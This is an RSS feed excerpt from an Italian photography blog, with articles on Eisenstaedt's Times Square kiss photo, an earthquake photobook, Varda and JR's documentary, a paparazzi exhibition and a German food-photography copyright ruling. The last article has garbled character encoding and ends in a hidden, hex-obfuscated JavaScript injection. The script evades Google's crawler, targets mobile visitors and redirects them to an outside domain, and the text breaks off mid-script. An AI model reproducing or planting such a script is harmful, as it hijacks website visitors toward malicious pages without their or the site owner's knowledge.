</div></div></div></div></div><p>L'articolo <a href="https://www.silviagerbino.com/mondo-perduto-gli-scatti-di-paolo-di-paolo-in-mostra-al-maxxi-di-roma/">Mondo Perduto: gli scatti di Paolo Di Paolo in mostra al MAXXI di Roma</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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			</item>
		<item>
		<title>Alfred Eisenstaedt: quello che non sai sul Bacio a Times Square</title>
		<link>https://www.silviagerbino.com/alfred-eisenstaedt-quello-che-non-sai-sul-bacio-a-time-square/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Wed, 17 Oct 2018 11:32:32 +0000</pubDate>
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					<description><![CDATA[<p>Alfred Eisenstaedt è conosciuto ai più come uno dei padri fondatori del fotogiornalismo mondiale. La sua passione per la fotografia ha origini lontane: già a 13 anni, infatti, iniziò a scattare con la sua Eastman Kodak, ma solo a 30 [&#8230;]</p>
<p>L'articolo <a href="https://www.silviagerbino.com/alfred-eisenstaedt-quello-che-non-sai-sul-bacio-a-time-square/">Alfred Eisenstaedt: quello che non sai sul Bacio a Times Square</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<div id="pl-7243"  class="panel-layout" ><div id="pg-7243-0"  class="panel-grid panel-no-style" ><div id="pgc-7243-0-0"  class="panel-grid-cell" ><div id="panel-7243-0-0-0" class="so-panel widget widget_sow-editor panel-first-child" data-index="0" ><div
			
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	<h6 style="text-align: justify;">Alfred Eisenstaedt è conosciuto ai più come uno dei padri fondatori del fotogiornalismo mondiale. La sua passione per la fotografia ha origini lontane: già a 13 anni, infatti, iniziò a scattare con la sua <em>Eastman Kodak</em>, ma solo a 30 anni decide di fare della fotografia il suo unico lavoro.</h6>
<p style="text-align: justify;">Dopo anni trascorsi a lavorare come venditore di cinture e bottoni, approda alla <em>Pacific Atlantic Picture Agency, </em>nella quale resterà per circa 6 anni, e contribuisce alle pubblicazioni di importanti riviste come il <em>Berliner Illustrierte Zeitung</em>, <em>Vogue</em> e <em>Town and Country</em>.</p>
<p style="text-align: justify;">Nel 1936 viene assunto nello staff della nuova rivista LIFE, dalla quale ha inizio la sua vera e propria carriera di fotoreporter. Le immagini di Eisenstaedt sono fortemente emotive: raccontano la società, il cinema e la politica, ma lasciano nell’osservatore la sensazione di trovarvi sempre qualcosa di nuovo e non detto. Tra i personaggi illustri immortalati da Eisenstaedt ricordiamo <em>Marilyne Monroe</em>, <em>George Bernard Show</em>, <em>Sophia Loren</em>, e diversi esponenti della politica internazionale come <em>Hitler</em>, <em>Mussolini</em>, J<em>ohn F. Kennedy</em> e la famiglia <em>Clinton</em>.</p>
</div>
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	<p style="text-align: justify;">Molti dei suoi reportage rappresentano momenti indimenticabili della storia mondiale, come il famoso servizio realizzato a <em>Times Square</em> durante i festeggiamenti per la fine della Seconda Guerra Mondiale. Proprio in quell’occasione, infatti, nacque uno degli scatti più famosi della storia della fotografia: un marinaio che stringe tra le braccia un’infermiera e la bacia appassionatamente.</p>
<p style="text-align: justify;">Per anni Eisenstaedt dichiarò che non c’era nulla di artificiale nella sua foto, ma in molti stentavano a crederlo. Non come <em>“Le baiser de l’Hôtel de la Ville”,</em> dunque, altra foto storica di quegli anni, di Robert Doisneau, il quale ammise di aver studiato tutto a tavolino con dei modelli professionisti. Alfred Eisenstaedt fece semplicemente ciò che un buon fotogiornalista è chiamato a fare: cogliere un momento unico e irripetibile.</p>
<p style="text-align: justify;">Raccontò di aver visto quel marinaio correre a perdifiato, afferrando qualsiasi ragazza incontrasse. Non fu un gesto di romanticismo - pare - ma solo l'esultanza di un giovane per la fine della guerra. Eisenstaedt affermò di aver immortalato quel momento perché colpito dall'effetto chiaro-scuro creato dalle divise dei due ragazzi. "Se l'infermiera fosse stata vestita di nero - affermò - non avrei mai scattato".</p>
<p style="text-align: justify;"><strong>Ma quali altri dubbi se celano dietro il famoso scatto a Times Square?</strong></p>
</div>
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	<p style="text-align: justify;">La storia per anni ha riconosciuto in <em>George Mendonsa e Greta Zimmer Friedman </em>i due giovani ritratti quel 14 agosto 1945, ma accurati studi hanno dimostrato che non si trattava di loro. George e Greta, infatti, dichiararono di essersi baciati a Times Square poco dopo pranzo, ma il professore di fisica Donald Olson, insieme ad alcuni ricercatori dell’Università del Texas, ha dimostrato che la foto fu scattata poco prima delle 18. Questo risultato è stato raggiunto, non solo grazie a un meticoloso studio delle mappe dell’epoca e di alcune foto aeree. Un altro importante contribuito arriva grazie a Victor Jorgensen, un altro fotografo presente sul posto, la cui foto - meno famosa -  fu pubblicata il giorno dopo sul <em>New York Times. </em>La prospettiva di Jorgensen è laterale, ma ha permesso di studiare con precisione i giochi di luce-ombra sugli edifici nelle diverse ore del giorno.</p>
<p style="text-align: justify;">Guardando con attenzione, si può notare che la fotografia contiene due dettagli molto utili a stabilire l’ora esatta dello scatto. In alto a destra, all’interno della O dell’insegna “BOND” c’è infatti un orologio. L’immagine non è perfettamente nitida in quel punto, ma si vede che la lancetta dei minuti è quasi sicuramente sulle 10, mentre quella delle ore è tra le 16 e le 18. Già questo primo indizio porterebbe ad affermare, con buona approssimazione, che non furono Mendonsa e la Zimmer a scambiarsi lo storico bacio davanti all’obiettivo di Eisenstaedt.</p>
<p style="text-align: justify;">Tuttavia, la conferma definitiva arriva da un altro inequivocabile elemento contenuto nell’immagine: l’ombra proiettata sul palazzo poco più in fondo. Analizzando altre immagini dell’area, nello stesso periodo dell’anno, i fisici dell'Università del Texas hanno stabilito che quell’ombra era da ritenersi appartenente all’insegna dell’Astor Hotel (a sinistra, nella foto). Una volta individuata l’asta della meridiana, Olson e il suo team hanno eseguito diverse simulazioni con edifici in scala, giungendo al risultato finale, che colloca lo scatto appena prima delle 18.  Ad oggi non sappiamo con certezza chi furono il marinaio e l’infermiera immortalati da Eisenstaedt, ma sappiamo che quel bacio, spontaneo e appassionato, ebbe luogo alle 17:51 in un’affollata ed esultante Times Square.</p>
<p style="text-align: justify;">Alfred Eisenstaedt è stato uno dei primi fotogiornalisti a usare la fotocamera 35 millimetri e a suggerire l’uso esclusivo della luce ambiente. Tutto il suo lavoro può essere riassunto nella sua massima, passata alla storia, <em>“Keep it simple”</em>, e lo scatto del bacio a Times Square ne è una prova inconfutabile.</p>
</div>
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		<title>Resistere: un viaggio fotografico nel cuore terremotato del Centro Italia</title>
		<link>https://www.silviagerbino.com/resistere-un-viaggio-fotografico-nel-cuore-terremotato-del-centro-italia/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Sat, 30 Jun 2018 18:10:48 +0000</pubDate>
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					<description><![CDATA[<p>Sono trascorsi due anni dal terribile sisma che ha sconvolto l’Italia Centrale. Era il 24 Agosto 2016 quando, la prima violenta scossa, con epicentro lungo la Valle del Tronto, ha raso al suolo i comuni di Accumoli (RI) e Arquata [&#8230;]</p>
<p>L'articolo <a href="https://www.silviagerbino.com/resistere-un-viaggio-fotografico-nel-cuore-terremotato-del-centro-italia/">Resistere: un viaggio fotografico nel cuore terremotato del Centro Italia</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<div id="pl-7207"  class="panel-layout" ><div id="pg-7207-0"  class="panel-grid panel-no-style" ><div id="pgc-7207-0-0"  class="panel-grid-cell" ><div id="panel-7207-0-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="0" ><div
			
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	<h6 style="text-align: justify;"><span style="color: #000000;">Sono trascorsi due anni dal terribile sisma che ha sconvolto l’Italia Centrale. Era il 24 Agosto 2016 quando, la prima violenta scossa, con epicentro lungo la Valle del Tronto, ha raso al suolo i comuni di Accumoli (RI) e Arquata del Tronto (AP) e causato ingenti danni su tutto il territorio umbro-marchigiano.<span class="Apple-converted-space"> </span></span></h6>
<p style="text-align: justify;"><span style="color: #000000;">A testimonianza del duro lavoro di riorganizzazione, ancora in atto, <a style="color: #000000;" href="https://it-it.facebook.com/genzianaproject/">Genziana Project</a> - dei fotografi Alessio Pagani e Francesco Fiorello - propone un libro fotografico affidandosi ad <a style="color: #000000;" href="http://www.ulule.com"><b>Ulule</b></a>, famosa piattaforma europea di crowdfunding. Lo scopo è quello di permettere, a chiunque lo desideri, di sostenere le spese di ricostruzione post sisma, ricevendo in cambio “<em><b>Resistere. Nel cuore terremotato del Centro Italia</b></em>”, un libro fotografico, edito da <strong><a style="color: #000000;" href="https://www.seipersei.com">Seipersei</a></strong>, che racconta da vicino la quotidianità delle zone terremotate.<span class="Apple-converted-space"> </span></span></p>
</div>
</div></div></div></div><div id="pg-7207-1"  class="panel-grid panel-no-style" ><div id="pgc-7207-1-0"  class="panel-grid-cell" ><div id="panel-7207-1-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="1" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p style="text-align: justify;"><span style="color: #000000;"><i>Resistere</i> ripercorre i primi 20 mesi post sisma, attraverso parole e immagini che raccontano le macerie ancor prima della ricostruzione, ma anche la grande voglia di riscatto delle gente dell’Appenino. Tra Amatrice e Accumoli, passando per Arquata del Tronto, Pieve Torina, Visso, Castelsantangelo sul Nera, Camerino, Norcia e molti altri comuni, questo coraggioso progetto parla di un popolo indomito, che affronta a testa alta ogni difficoltà, chinandosi «solo per cogliere la genziana», come loro stessi amano raccontare.</span></p>
</div>
</div></div></div></div><div id="pg-7207-3"  class="panel-grid panel-no-style" ><div id="pgc-7207-3-0"  class="panel-grid-cell" ><div id="panel-7207-3-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="3" ><div
			
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	<p style="text-align: justify;"><span style="color: #000000;">In un mondo sempre più dominato da Internet e dai social, la scelta di affidare un lavoro così importante a una piattaforma di crowdfunding appare più che mai vincente. Ulule è presente in Italia dal 2017 e ha già conquistato la leadership sul mercato in termini di visibilità e obiettivi raggiunti. </span></p>
<h6>Le caratteristiche del libro fotografico</h6>
<ul>
<li style="text-align: justify;"><span style="color: #000000;">500 copie</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Formato finito: 20x29cm</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Formato aperto: 40x29cm</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Interno: 176 pagine su Gardapat Kiara 150gm, stampato 3/3 colori Duoton nero + Pantone grey + Vernice selettiva</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Risguardi: 2 x 4 pagine su Sirio color da 140 gm, non stampati</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Plancia: su Gardapat da 250gm, stampata 4/0 colori</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Confezione: Cartonato Olandese, dorso tondo</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Stampa: Longo Ag. SpA</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Book design, editing fotografico, revisione testi e codice ISBN © Seipersei</span></li>
<li style="text-align: justify;"><span style="color: #000000;">Testi: © Patrizia Senatore © Davide Burchiellaro © Alessio Pagani</span></li>
</ul>
</div>
</div></div></div></div><div id="pg-7207-5"  class="panel-grid panel-no-style" ><div id="pgc-7207-5-0"  class="panel-grid-cell" ><div id="panel-7207-5-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="6" ><div
			
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	<p><span style="color: #000000;">Per sostenere la raccolta fondi e ricevere il libro fotografico: <a style="color: #000000;" href="http://www.ulule.com/resistere/">www.ulule.com/resistere/</a></span></p>
</div>
</div></div></div></div></div><p>L'articolo <a href="https://www.silviagerbino.com/resistere-un-viaggio-fotografico-nel-cuore-terremotato-del-centro-italia/">Resistere: un viaggio fotografico nel cuore terremotato del Centro Italia</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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		<title>Visages Villages: Agnès Varda e JR raccontano la Francia rurale</title>
		<link>https://www.silviagerbino.com/visages-villages-agnes-varda-e-jr/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Mon, 19 Mar 2018 21:11:35 +0000</pubDate>
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					<description><![CDATA[<p>Cos’hanno in comune una regista novantenne e un giovane fotografo parigino? Apparentemente nulla.  Agnès Varda è  una sceneggiatrice, regista e fotografa belga (classe 1928), nonché unica donna regista nel gruppo della Nouvelle Vague. JR è un artista indipendente che deve [&#8230;]</p>
<p>L'articolo <a href="https://www.silviagerbino.com/visages-villages-agnes-varda-e-jr/">Visages Villages: Agnès Varda e JR raccontano la Francia rurale</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<div id="pl-6979"  class="panel-layout" ><div id="pg-6979-0"  class="panel-grid panel-no-style" ><div id="pgc-6979-0-0"  class="panel-grid-cell" ><div id="panel-6979-0-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="0" ><div
			
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	<h6 style="text-align: justify;"><span style="color: #000000;">Cos’hanno in comune una regista novantenne e un giovane fotografo parigino? Apparentemente nulla. </span></h6>
<p style="text-align: justify;"><strong><span style="color: #000000;"><a style="color: #000000;" href="https://it.wikipedia.org/wiki/Agn%C3%A8s_Varda">Agnès Varda</a> è  una sceneggiatrice, regista e fotografa belga (classe 1928), nonché unica donna regista nel gruppo della <a style="color: #000000;" href="https://it.wikipedia.org/wiki/Nouvelle_Vague">Nouvelle Vague</a>. <a style="color: #000000;" href="http://www.jr-art.net/jr">JR</a> è un artista indipendente che deve la sua fama agli enormi collage fotografici che sistema nel cuore delle grandi città, invece che nei musei. Visages, Villages è il frutto della loro collaborazione.</span></strong></p>
</div>
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	<p style="text-align: justify;"><span style="color: #000000;">Diversi per generazione e indirizzo artistico, Agnès Varda<strong> </strong>e JR condividono una visione del mondo aperta all’osservazione dell’umanità.</span></p>
<p style="text-align: justify;"><span style="color: #000000;"><strong>Visages Villages,</strong> diretto dal fotografo JR e dalla regista novantenne Agnès Varda, è un documentario <em>on the road</em> che propone una ricerca antropologica basata sull’incontro con gli uomini e le donne della periferia francese.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Girato in Francia, lontano dalle grandi città, mette insieme la passione per il cinema di Agnès Varda e quella per la fotografia di JR.  </span><span style="color: #000000;">L’obiettivo è quello di mettersi al servizio delle persone riprese, trasformandole in eroi silenziosi. Il documentario - in programmazione nelle sale italiane dal 15 Marzo - richiama l’attenzione sulla periferia francese.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">La regista Agnès Varda, durante la presentazione al <em>Nuovo Sacher</em> di Roma, ha affermato che il loro è un progetto quasi politico: <em>“Per cambiare quello che non funziona nel mondo prima di tutto bisogna cambiare sguardo sul mondo.”</em>  </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Vincitore del premio de <em>L'Œ</em><em>il d'or </em>al <em><a style="color: #000000;" href="http://www.festival-cannes.com/fr/">Festival di Cannes</a> </em>2017 e candidato come <em>Miglior documentario</em> agli <em>Oscar 2018</em>, Visages Villages è il risultato di due anni di lavoro a bordo di un furgone. </span><span style="color: #000000;">Il trentenne parigino JR e la Varda hanno percorso in lungo e in largo la Francia rurale, immortalando, con i giganteschi ritratti in bianco e nero del giovane JR, i volti delle persone che incontravano.</span></p>
<p style="text-align: justify;"> </p>
</div>
</div></div></div></div><div id="pg-6979-2"  class="panel-grid panel-no-style" ><div id="pgc-6979-2-0"  class="panel-grid-cell" ><div id="panel-6979-2-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="3" ><div
			
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	<p style="text-align: justify;">Il fatto che le opere di JR siano esposte sui muri, e quindi soggette a deterioramento, impone di per sé una riflessione sul tempo che passa. Le fotografie realizzate, esposte come gigantografie nelle periferie visitate o donate alle persone che hanno collaborato, diventano così potenti documenti dell’ambiente rurale francese di oggi. </p>
<p style="text-align: justify;">Tuttavia, il vero lavoro di JR e Agnès Varda è stato, prima di tutto, quello di creare legami con le persone. La semplicità dei ritratti di Visage Village, ci ricorda che è ancora possibile conoscere a fondo le persone e riscoprire l’umanità di chi non si lascia fagocitare dalla corsa del tempo e vive sospeso ai margini delle grandi città.</p>
</div>
</div></div></div></div><div id="pg-6979-3"  class="panel-grid panel-no-style" ><div id="pgc-6979-3-0"  class="panel-grid-cell" ><div id="panel-6979-3-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="4" ><div
			
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		<title>Arrivano i Paparazzi! Fotografi e divi dalla Dolce Vita a oggi, in mostra a Torino</title>
		<link>https://www.silviagerbino.com/arrivano-i-paparazzi-fotografi-e-divi-dalla-dolce-vita-a-oggi-in-mostra-a-torino/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Wed, 13 Sep 2017 16:28:59 +0000</pubDate>
				<category><![CDATA[Events]]></category>
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					<description><![CDATA[<p>Apre oggi, al Camera di Torino, una grande mostra su quella che comunemente definiamo “fotografia rubata”.  Curata da Walter Guadagnini e Francesco Zanot, la mostra “Arrivano i Paparazzi! Fotografi e divi dalla Dolce Vita a oggi”  sarà visitabile dal 13 [&#8230;]</p>
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										<content:encoded><![CDATA[<div id="pl-1588"  class="panel-layout" ><div id="pg-1588-0"  class="panel-grid panel-no-style" ><div id="pgc-1588-0-0"  class="panel-grid-cell" ><div id="panel-1588-0-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="0" ><div
			
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	<h6 style="text-align: justify;"><span style="color: #000000;">Apre oggi, al Camera di Torino, una grande mostra su quella che comunemente definiamo “fotografia rubata”. </span></h6>
<p style="text-align: justify;"><strong><span style="color: #000000;">Curata da Walter Guadagnini e Francesco Zanot, la mostra <i>“</i>Arrivano i Paparazzi! Fotografi e divi dalla Dolce Vita a oggi”  sarà visitabile dal 13 settembre al 7 Gennaio 2018. </span></strong></p>
<p style="text-align: justify;"><span style="color: #000000;">Come anticipato dal Presidente di <a href="http://camera.to"><b>Camera</b></a>, Emanuele Chieli, «la mostra intende documentare, con un taglio originale e con diverse immagini mai esposte in precedenza, la lunga e vitale stagione dei paparazzi e indagare la storia della fotografia rubata, capace di influenzare il costume e le mode». Attraverso la fotografia rubata, questa mostra ripercorrere momenti storici e fenomeni di costume dagli anni Cinquanta in avanti. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Con circa 150 immagini, distribuite in tre sale tematiche (<i>La Dolce Vita, Gli Anni 70 e I Contemporanei</i>), gli scatti di Ezio Vitale, Lino Nanni, Tanzio Secchiaroli, Marcello Geppetti e molti altri, testimoniano l’evoluzione del costume attraverso i giornali d’epoca e le prime riviste scandalistiche. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">All’interno della mostra si potranno ammirare istantanee dei personaggi più in vista di quegl’anni: da <strong>Anita Ekberg</strong> a <strong>Sofia Loren</strong>, <strong>Liz Taylor</strong>, <strong>Federico Fellini</strong>, <strong>Walter Chiari</strong> e <strong>Brigitte Bardot</strong>, passando attraverso le immagini di <strong>Jackie Kennedy</strong>, ritratta senza veli da Settimio Garritano. </span></p>
</div>
</div></div></div></div><div id="pg-1588-1"  class="panel-grid panel-no-style" ><div id="pgc-1588-1-0"  class="panel-grid-cell" ><div id="panel-1588-1-0-0" class="so-panel widget widget_media_image panel-first-child panel-last-child" data-index="1" ><img loading="lazy" decoding="async" width="2560" height="1013" src="https://www.silviagerbino.com/site/wp-content/uploads/2017/09/PaparazziCollage-scaled.jpg" class="image wp-image-1589  attachment-full size-full" alt="" style="max-width: 100%; height: auto;" /></div></div></div><div id="pg-1588-2"  class="panel-grid panel-no-style" ><div id="pgc-1588-2-0"  class="panel-grid-cell" ><div id="panel-1588-2-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="2" ><div
			
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	<p style="text-align: justify;"><span style="color: #000000;">Una vera e propria analisi sociale, che fotografa un importante cambiamento nella comunicazione e affronta l’evoluzione del genere stesso, segnato dall’avvento del digitale. Dai personaggi del cinema e dello spettacolo, l’attenzione si estende ai politici e alle figure di potere.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Il percorso della mostra si conclude con le immagini del contemporaneo <a href="http://www.arminlinke.com"><strong>Armin Linke</strong></a>, fotografo italo-tedesco che riflette sui temi dell’archivio e del senso di una professione così discussa e tuttavia affascinante.</span></p>
<p style="text-align: justify;"><span style="color: #000000;"><strong> </strong></span></p>
<p id="è maiuscola (È) in italiano"><span style="color: #000000;"><strong>È possibile visitare la mostra</strong></span> <span style="color: #000000;"><strong>tutti i giorni, escluso il Martedì, dalle 11 alle 19 (il Giovedì fino alle 21) presso il CAMERA - Centro Italiano per la Fotografia (Via delle Rosine 18 - Torino).</strong></span></p>
<p style="text-align: justify;"><span style="color: #000000;">www.camera.to</span></p>
</div>
</div></div></div></div></div><p>L'articolo <a href="https://www.silviagerbino.com/arrivano-i-paparazzi-fotografi-e-divi-dalla-dolce-vita-a-oggi-in-mostra-a-torino/">Arrivano i Paparazzi! Fotografi e divi dalla Dolce Vita a oggi, in mostra a Torino</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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		<title>Germania: quando il diritto d&#8217;autore finisce in cucina</title>
		<link>https://www.silviagerbino.com/germania-quando-il-diritto-dautore-finisce-in-cucina/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Thu, 24 Sep 2015 13:13:22 +0000</pubDate>
				<category><![CDATA[News]]></category>
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		<category><![CDATA[The Guardian]]></category>
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					<description><![CDATA[<p>L'articolo <a href="https://www.silviagerbino.com/germania-quando-il-diritto-dautore-finisce-in-cucina/">Germania: quando il diritto d&#8217;autore finisce in cucina</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<h6 style="text-align: justify;">Proprio ieri, leggendo un noto settimanale nazionale, mi sono imbattuta in un articolo piuttosto curioso. Pare che in Germania dei giudici abbiano stabilito il divieto diA�fotografare le pietanze servite nei ristoranti.</h6>
<p style="text-align: justify;"><span style="color: #000000;">Detta cosA�, la cosa puA? suscitareA�una certa ilaritA�, ma chi come me vive di pane e diritto da��autore un poa�� da��accordo lo A?. GiA� </span>il quotidiano<span style="color: #000000;"> tedesco <strong><em><a style="color: #000000;" href="http://www.welt.de/finanzen/verbraucher/article145156808/Das-Fotografieren-von-Essen-koennte-teuer-werden.html">Die Welt</a></em> </strong>ne aveva parlato, sottolineando che il cosiddetto a�?food porna�?, termine coniato per descrivere la��ossessione visiva per il cibo e diventato un hashtag internazionale, sta diventando una vera e propria mania tra la gente comune cosA� come tra le stars.</span><br />
<span style="color: #000000;"> Alcuni intenditori di settore hanno gridato allo scandalo, affermando che fotografare un piatto rende la��esperienza veramente nostra. Inoltre, non si puA? non fare i conti con la societA� che cambia, passando anche attraverso la cultura del cibo. La condivisione, dicono, per quanto selvaggia rappresenta comunque una��efficace forma di pubblicitA� e senza la pubblicitA� non ci sarebbero neanche i clienti nei ristoranti.</span></p>
<p style="text-align: justify;"><span style="color: #000000;"><span style="line-height: 1.5;">Questo discorso A? in parte vero, ma la dura lotta al food porn non A? certo una novitA�. Se na��era giA� occupato il quotidiano inglese </span><strong><em><a style="color: #000000;" href="http://www.theguardian.com/lifeandstyle/2014/feb/16/chef-alexandre-gauthier-stop-photographs-food-restaurant">The Guardian</a></em></strong><span style="line-height: 1.5;">, dando spazio allo Chef </span><strong><a style="color: #000000;" href="https://fr.wikipedia.org/wiki/Alexandre_Gauthier">Alexandre Gauthier</a></strong><span style="line-height: 1.5;"> che lamentava, nel suo ristorante, una maggiore attenzione a immortalare i cibi che al gustarli. Presso il ristorante del Gauthier, </span><strong><a style="color: #000000;" href="http://lagrenouillere.fr/">La GrenouillA?re</a></strong><span style="line-height: 1.5;">, nel nord della Francia, vi A?, alla��interno dei menu, il disegno di una macchina </span><span style="line-height: 1.5;">fotografica sbarrata, ad indicare il divieto di fotografare.</span></span></p>
<p style="text-align: justify;"><a href="http://www.silviagerbino.com/site/wp-content/uploads/2015/09/highendbeautyretouching.com3_.jpg"><img loading="lazy" decoding="async" class="size-full wp-image-6595 aligncenter" src="http://www.silviagerbino.com/site/wp-content/uploads/2015/09/highendbeautyretouching.com3_.jpg" alt="" width="1459" height="344" /></a></p>
<p style="text-align: justify;"><span style="color: #000000;">La veritA� A? che a tutti noi piace fotografare ciA? che mangiamo e magari postarlo sui social, fosse anche solo per suscitare un poa�� di invidia nei nostri amici. E allora, come si esce da questo intricato labirinto di divieti? Semplice: basta leggere attentamente il testo della sentenza della corte federale tedesca. Il divieto, infatti, non A? assoluto, ma pare riguardi solo quei piatti che fanno parte della��alta cucina di cui gli chef sono autori e quindi detentori del diritto di copyright. Quei piatti, cioA?, caratterizzati da una particolare cura nel design e dalla fantasia nella composizione. Le pietanze degli chef stellati e la��impiattamento delle stesse A? dunque da considerarsi una forma da��arte e come tale va difesa da imitazioni.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Insomma hanno tutti ragione. A me, perA?, piace pensare che i tedeschi abbiano solo voluto ricordarci che al ristorante ci si va per mangiare e magari condividere una piacevole conversazione a cellulariA�spenti.</span></p>
<p>&nbsp;</p>
<p style="text-align: justify;"><span style="color: #adacac;">*fonti immagini: highendbeautyretouching.com eA�stephensons.com</span></p>
<p style="text-align: justify;">
<p><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 